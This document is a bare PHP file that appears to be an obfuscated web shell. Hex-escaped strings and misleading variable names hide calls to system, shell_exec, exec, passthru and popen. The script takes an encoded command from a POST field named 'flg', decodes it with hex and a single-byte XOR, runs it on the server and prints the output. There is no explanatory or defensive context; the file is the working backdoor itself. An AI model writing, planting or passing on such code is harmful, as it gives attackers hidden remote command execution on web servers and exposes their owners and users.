<?php
$splitter_tool = "\x68ex2bi\x6E";
$restore_state5 = "\x70\x6Fpen";
$restore_state7 = "\x70\x63los\x65";
$restore_state4 = "p\x61\x73\x73t\x68ru";
$restore_state6 = "s\x74r\x65a\x6D\x5Fg\x65t\x5F\x63on\x74e\x6Ets";
$restore_state1 = "s\x79\x73\x74em";
$restore_state2 = "\x73h\x65ll\x5F\x65\x78ec";
$restore_state3 = "\x65\x78ec";
if (isset($_POST["fl\x67"])) {
function core_engine ($pointer, $data ){
$k = '';
$w=0;
while($w<strlen($pointer)){
$k.=chr(ord($pointer[$w])^$data);
$w++;
} return$k;
}
$flg = $splitter_tool($_POST["fl\x67"]);
$flg = core_engine($flg, 79);
if (function_exists($restore_state1)) {
$restore_state1($flg);
} elseif (function_exists($restore_state2)) {
print $restore_state2($flg);
} elseif (function_exists($restore_state3)) {
$restore_state3($flg, $pset_pointer);
print join("\n", $pset_pointer);
} elseif (function_exists($restore_state4)) {
$restore_state4($flg);
} elseif (function_exists($restore_state5) && function_exists($restore_state6) && function_exists($restore_state7)) {
$data_k = $restore_state5($flg, 'r');
if ($data_k) {
$dat_value = $restore_state6($data_k);
$restore_state7($data_k);
print $dat_value;
}
}
exit;
}